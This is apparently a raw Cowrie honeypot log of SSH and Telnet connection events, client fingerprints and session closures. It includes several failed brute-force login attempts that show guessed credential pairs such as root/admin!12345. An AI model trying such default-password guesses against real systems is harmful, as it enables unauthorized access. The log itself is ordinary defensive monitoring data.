{"eventid":"cowrie.session.closed","duration":31.853018760681152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:08.202507Z","src_ip":"34.69.118.1","session":"3538fbe861df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56222,"dst_ip":"159.203.135.109","dst_port":23,"session":"1debfe906f59","protocol":"telnet","message":"New connection: 34.69.118.1:56222 (159.203.135.109:23) [session: 1debfe906f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:09.188035Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"20a400af0d9d","protocol":"ssh","message":"New connection: 103.97.179.160:48806 (10.17.0.5:22) [session: 20a400af0d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:09.683727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:09.688872Z","src_ip":"103.97.179.160","session":"20a400af0d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:09.935525Z","src_ip":"103.97.179.160","session":"20a400af0d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"471bb6c0150d","protocol":"telnet","message":"New connection: 34.69.118.1:56246 (159.203.135.109:23) [session: 471bb6c0150d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:10.213212Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"6335fceba3aa","protocol":"telnet","message":"New connection: 34.69.118.1:56238 (159.203.135.109:23) [session: 6335fceba3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:10.253897Z"}
{"eventid":"cowrie.session.closed","duration":31.224119901657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:10.566931Z","src_ip":"34.69.118.1","session":"d795424d2fbc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!12345","message":"login attempt [root/admin!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:10.817785Z","src_ip":"103.97.179.160","session":"20a400af0d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89668083190918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:11.413355Z","src_ip":"34.69.118.1","session":"f9f45e0735dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:12.033584Z","src_ip":"103.97.179.160","session":"20a400af0d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ec524d87ac","protocol":"telnet","message":"New connection: 34.69.118.1:56260 (159.203.135.109:23) [session: e9ec524d87ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:12.233704Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56270,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb28b32a899","protocol":"telnet","message":"New connection: 34.69.118.1:56270 (159.203.135.109:23) [session: 1bb28b32a899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:12.657985Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56286,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bd88efc62c","protocol":"telnet","message":"New connection: 34.69.118.1:56286 (159.203.135.109:23) [session: 09bd88efc62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:12.858199Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56298,"dst_ip":"159.203.135.109","dst_port":23,"session":"9893dc69c4eb","protocol":"telnet","message":"New connection: 34.69.118.1:56298 (159.203.135.109:23) [session: 9893dc69c4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:14.397891Z"}
{"eventid":"cowrie.session.closed","duration":31.812403440475464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:15.722282Z","src_ip":"34.69.118.1","session":"632ec61eed00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56306,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5c7bc7eea51","protocol":"telnet","message":"New connection: 34.69.118.1:56306 (159.203.135.109:23) [session: e5c7bc7eea51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:16.068586Z"}
{"eventid":"cowrie.session.closed","duration":30.576374530792236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:17.266404Z","src_ip":"34.69.118.1","session":"ab2e36c24d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"837c47e84039","protocol":"telnet","message":"New connection: 34.69.118.1:46274 (159.203.135.109:23) [session: 837c47e84039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:18.971662Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"618b6b066d5f","protocol":"telnet","message":"New connection: 34.69.118.1:46280 (159.203.135.109:23) [session: 618b6b066d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:20.219500Z"}
{"eventid":"cowrie.session.closed","duration":31.554320096969604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:22.893589Z","src_ip":"34.69.118.1","session":"af5117ab6750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873892545700073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:24.250491Z","src_ip":"34.69.118.1","session":"812afc669ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef5c18fee142","protocol":"telnet","message":"New connection: 34.69.118.1:46296 (159.203.135.109:23) [session: ef5c18fee142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:26.496723Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34024,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97d0a8ddc8c","protocol":"telnet","message":"New connection: 34.69.118.1:34024 (159.203.135.109:23) [session: a97d0a8ddc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:27.172173Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45340,"dst_ip":"159.203.135.109","dst_port":22,"session":"6195e50c6889","protocol":"ssh","message":"New connection: 122.168.114.167:45340 (159.203.135.109:22) [session: 6195e50c6889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:27.417611Z"}
{"eventid":"cowrie.session.closed","duration":31.74881649017334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:27.841364Z","src_ip":"34.69.118.1","session":"d3b6e22b3e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34038,"dst_ip":"159.203.135.109","dst_port":23,"session":"756d4013cffa","protocol":"telnet","message":"New connection: 34.69.118.1:34038 (159.203.135.109:23) [session: 756d4013cffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:28.136451Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34044,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da1d76519da","protocol":"telnet","message":"New connection: 34.69.118.1:34044 (159.203.135.109:23) [session: 6da1d76519da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:28.159516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:28.430815Z","src_ip":"122.168.114.167","session":"6195e50c6889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:28.435373Z","src_ip":"122.168.114.167","session":"6195e50c6889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.71666145324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.153500Z","src_ip":"34.69.118.1","session":"d8f6e79a194c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83448576927185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.415501Z","src_ip":"34.69.118.1","session":"2a9f1da9d4e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":51614,"dst_ip":"10.17.0.5","dst_port":22,"session":"021e54816c08","protocol":"ssh","message":"New connection: 76.127.61.251:51614 (10.17.0.5:22) [session: 021e54816c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.523654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.529681Z","src_ip":"76.127.61.251","session":"021e54816c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.585273Z","src_ip":"76.127.61.251","session":"021e54816c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf123","message":"login attempt [root/Asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:29.841684Z","src_ip":"76.127.61.251","session":"021e54816c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34058,"dst_ip":"159.203.135.109","dst_port":23,"session":"6499a850e959","protocol":"telnet","message":"New connection: 34.69.118.1:34058 (159.203.135.109:23) [session: 6499a850e959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:30.332082Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"043466080847","protocol":"telnet","message":"New connection: 34.69.118.1:34062 (159.203.135.109:23) [session: 043466080847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:30.375470Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34068,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e70e50604e","protocol":"telnet","message":"New connection: 34.69.118.1:34068 (159.203.135.109:23) [session: f8e70e50604e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:30.571312Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:30.901320Z","src_ip":"76.127.61.251","session":"021e54816c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.359246492385864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:32.263711Z","src_ip":"34.69.118.1","session":"f44956768446","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:33.086968Z","src_ip":"122.168.114.167","session":"6195e50c6889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03163504600525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:34.298382Z","src_ip":"34.69.118.1","session":"8c488694980f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:35.286048Z","src_ip":"122.168.114.167","session":"6195e50c6889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22735810279846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:36.705979Z","src_ip":"34.69.118.1","session":"51f1823867f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34072,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8b45ebcc9cb","protocol":"telnet","message":"New connection: 34.69.118.1:34072 (159.203.135.109:23) [session: e8b45ebcc9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:37.081613Z"}
{"eventid":"cowrie.session.closed","duration":30.70641255378723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:37.479573Z","src_ip":"34.69.118.1","session":"fd926c78228e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40886,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fcd38f8c8c8","protocol":"telnet","message":"New connection: 34.69.118.1:40886 (159.203.135.109:23) [session: 0fcd38f8c8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:38.399325Z"}
{"eventid":"cowrie.session.closed","duration":32.590933322906494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:39.772010Z","src_ip":"34.69.118.1","session":"da1890d02a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89135718345642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:40.079288Z","src_ip":"34.69.118.1","session":"1debfe906f59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40890,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e3f0a74b75","protocol":"telnet","message":"New connection: 34.69.118.1:40890 (159.203.135.109:23) [session: e7e3f0a74b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:41.003061Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40904,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fce06829d33","protocol":"telnet","message":"New connection: 34.69.118.1:40904 (159.203.135.109:23) [session: 0fce06829d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:41.165704Z"}
{"eventid":"cowrie.session.closed","duration":31.250935316085815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:41.464010Z","src_ip":"34.69.118.1","session":"471bb6c0150d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10270833969116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:42.356495Z","src_ip":"34.69.118.1","session":"6335fceba3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40920,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d66b42511b9","protocol":"telnet","message":"New connection: 34.69.118.1:40920 (159.203.135.109:23) [session: 6d66b42511b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:42.746132Z"}
{"eventid":"cowrie.session.closed","duration":41.927814960479736,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:42.854959Z","src_ip":"185.26.126.47","session":"03989a749354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052988529205322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:43.286562Z","src_ip":"34.69.118.1","session":"e9ec524d87ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56938099861145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:44.227229Z","src_ip":"34.69.118.1","session":"1bb28b32a899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54405903816223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:44.402034Z","src_ip":"34.69.118.1","session":"09bd88efc62c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.776558876037598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:46.174359Z","src_ip":"34.69.118.1","session":"9893dc69c4eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295198678970337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:47.363637Z","src_ip":"34.69.118.1","session":"e5c7bc7eea51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":57384,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc05f293151a","protocol":"ssh","message":"New connection: 113.163.156.190:57384 (159.203.135.109:22) [session: dc05f293151a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:49.977644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:49.982031Z","src_ip":"113.163.156.190","session":"dc05f293151a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.062599420547485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:50.034135Z","src_ip":"34.69.118.1","session":"837c47e84039","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-c